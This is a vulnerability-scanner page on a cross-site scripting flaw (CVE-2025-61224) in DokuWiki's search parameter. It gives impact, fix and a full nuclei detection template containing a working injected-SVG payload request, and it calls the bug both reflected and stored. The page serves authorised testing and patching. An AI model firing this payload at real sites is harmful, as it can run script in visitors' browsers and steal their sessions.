DokuWiki <= 2025-05-14a Librarian - Reflected Cross-Site Scripting

mediumseverity

6.1CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

DokuWiki 2025-05-14a 'Librarian' contains a stored XSS caused by improper sanitization of the 'q' parameter, letting remote attackers execute arbitrary scripts, exploit requires no special privileges.

Impact

Remote attackers can execute arbitrary scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.

Fix

Update to the latest version of DokuWiki.

How to confirm it

Send: GET {{BaseURL}}/doku.php?id=start&do=search&q=the%20%40%3Csvg%2Fonload%3Dalert%60document.domain%60%3E
Positive when: contains "current changed\">@<svg/onload=alert" and "content=\"DokuWiki" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2025-61224 -u <target>

The full check

id: CVE-2025-61224

info:
  name: DokuWiki <= 2025-05-14a Librarian - Reflected Cross-Site Scripting
  author: lolkatz,0x_Akoko
  severity: medium
  description: |
   DokuWiki 2025-05-14a 'Librarian' contains a stored XSS caused by improper sanitization of the 'q' parameter, letting remote attackers execute arbitrary scripts, exploit requires no special privileges.
  impact: |
   Remote attackers can execute arbitrary scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.
  remediation: |
   Update to the latest version of DokuWiki.
  reference:
    - https://github.com/dokuwiki/dokuwiki/issues/4512
    - https://github.com/MarioTesoro/vulnerability-research/tree/main/CVE-2025-61224
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61224
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-61224
    epss-score: 0.01454
    epss-percentile: 0.73665
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: dokuwiki
    product: dokuwiki
    shodan-query: http.html:"content=\"DokuWiki"
    fofa-query: body="content=\"DokuWiki"
  tags: cve,cve2025,dokuwiki,xss,reflected

http:
  - method: GET
    path:
      - '{{BaseURL}}/doku.php?id=start&do=search&q=the%20%40%3Csvg%2Fonload%3Dalert%60document.domain%60%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'current changed">@<svg/onload=alert'
          - 'content="DokuWiki'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from